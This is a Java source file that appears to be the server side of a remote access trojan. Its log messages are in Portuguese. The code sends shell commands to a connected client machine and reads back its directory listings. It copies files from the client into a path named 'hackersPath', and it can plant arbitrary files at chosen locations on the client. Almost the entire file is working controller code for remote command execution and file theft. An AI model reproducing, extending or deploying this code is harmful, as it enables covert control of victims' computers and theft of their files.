package server;

import java.io.BufferedInputStream;
import java.io.File;
import java.io.FileInputStream;
import java.io.FileNotFoundException;
import java.io.FileOutputStream;
import java.io.IOException;
import java.io.ObjectInputStream;
import java.io.ObjectOutputStream;
import java.util.ArrayList;

import javax.swing.JOptionPane;

import shared.EnumType;
import shared.Message;
import window.ServerFrame;

public class DealWithClient extends Thread {

	private ObjectInputStream in;
	private ObjectOutputStream out;
	private BufferedInputStream bis;

	private ArrayList<String> arrayStringFiles;

	private ServerFrame frame;

	public DealWithClient(ObjectInputStream in, ObjectOutputStream out,
			ServerFrame frame) {
		this.in = in;
		this.out = out;
		this.frame = frame;
		arrayStringFiles = new ArrayList<String>();
	}

	@Override
	public void run() {
		try {
			while (true) {
				Message msgR = (Message) in.readObject();
				switch (msgR.getType()) {
				case LOGIN:
					frame.getConsoleLog().append(
							"[INFO] A Enviar Mensagem Inicial de Directorias "
									+ msgR.getType() + "\n");
					sendData(new Message(EnumType.CMD,
							"dir > inicial_dir_file.txt"));
					sleep(100);
					sendData(new Message(EnumType.DIR_FILES,
							"inicial_dir_file.txt", true));
					break;
				case DIR_FILES:
					if (!msgR.getCommand().equals("end_of_file")) {
						arrayStringFiles.add(msgR.getCommand());
					} else {
						frame.getFileLog().setText("");
						frame.getConsoleLog().append(
								"[INFO] Servidor Recebeu end_of_file \n");
						for (int i = 0; i < arrayStringFiles.size(); i++) {
							frame.getFileLog().append(
									arrayStringFiles.get(i) + "\n");
						}
						if (msgR.isFirst()) {
							frame.populateTree("", arrayStringFiles);
						} else {
							String[] parentD = arrayStringFiles.get(3).split(
									"\\\\");
							frame.populateTree(parentD[parentD.length - 1],
									arrayStringFiles);
						}
						arrayStringFiles.clear();
						frame.getConsoleLog()
								.append("[INFO] Servidor Recebeu Texto Total do Ficheiro\n");
					}
					break;
				case GETFILE:
					FileOutputStream fos = new FileOutputStream(msgR.getPath()
							+ "\\" + msgR.getFileName());
					fos.write(msgR.getByteArray(), msgR.getOffset(),
							msgR.getByteArrayLength());
					break;
				default:
					break;
				}
			}
		} catch (IOException e) {
			frame.getConsoleLog().append("[WARNING] " + e.getMessage() + "\n");
		} catch (ClassNotFoundException e) {
			frame.getConsoleLog().append("[WARNING] " + e.getMessage() + "\n");
		} catch (InterruptedException e) {
			frame.getConsoleLog().append("[WARNING] " + e.getMessage() + "\n");
		}
	}

	public void sendFile(String path) {
		File file = new File(path);
		String fileName = JOptionPane
				.showInputDialog("Name of File to be Created \n (Don't Forget the Extension)");
		String pathToPlace = JOptionPane.showInputDialog("Path to Place File");
		try {
			byte[] byteArray = new byte[(int) file.length()];
			bis = new BufferedInputStream(new FileInputStream(file));
			bis.read(byteArray, 0, byteArray.length);
			sendData(new Message(EnumType.SENDFILE, byteArray, 0,
					byteArray.length, fileName, pathToPlace));
		} catch (FileNotFoundException e) {
			frame.getConsoleLog().append("[WARNING] " + e.getMessage() + "\n");
		} catch (IOException e) {
			frame.getConsoleLog().append("[WARNING] " + e.getMessage() + "\n");
		}
	}

	public void sendDataOverCommand(String typeC, String command) {
		if (typeC.equals(EnumType.DIR_FILES)) {
			sendData(new Message(EnumType.valueOf(typeC), command, false));
		} else {
			sendData(new Message(EnumType.valueOf(typeC), command));
		}
		frame.getConsoleLog().append(
				"[INFO] Comando do Tipo " + typeC + " Enviado: " + command
						+ "\n");
	}

	public void askForFile(EnumType types, String hackersPath) {
		String clientsPath = JOptionPane
				.showInputDialog("Where The File is + File Name \n"
						+ "and Extension");
		if (!clientsPath.equals("")) {
			sendData(new Message(types, hackersPath, clientsPath));
		} else {
			JOptionPane.showMessageDialog(null, "Field must not be Empty");
		}
	}

	public void sendData(Message msg) {
		try {
			frame.getConsoleLog().append(
					"[INFO] Servidor Enviou Mensagem do Tipo " + msg.getType()
							+ "\n");
			out.writeObject(msg);
			out.flush();
		} catch (IOException e) {
			frame.getConsoleLog().append("[WARNING] " + e.getMessage() + "\n");
		}
	}
}
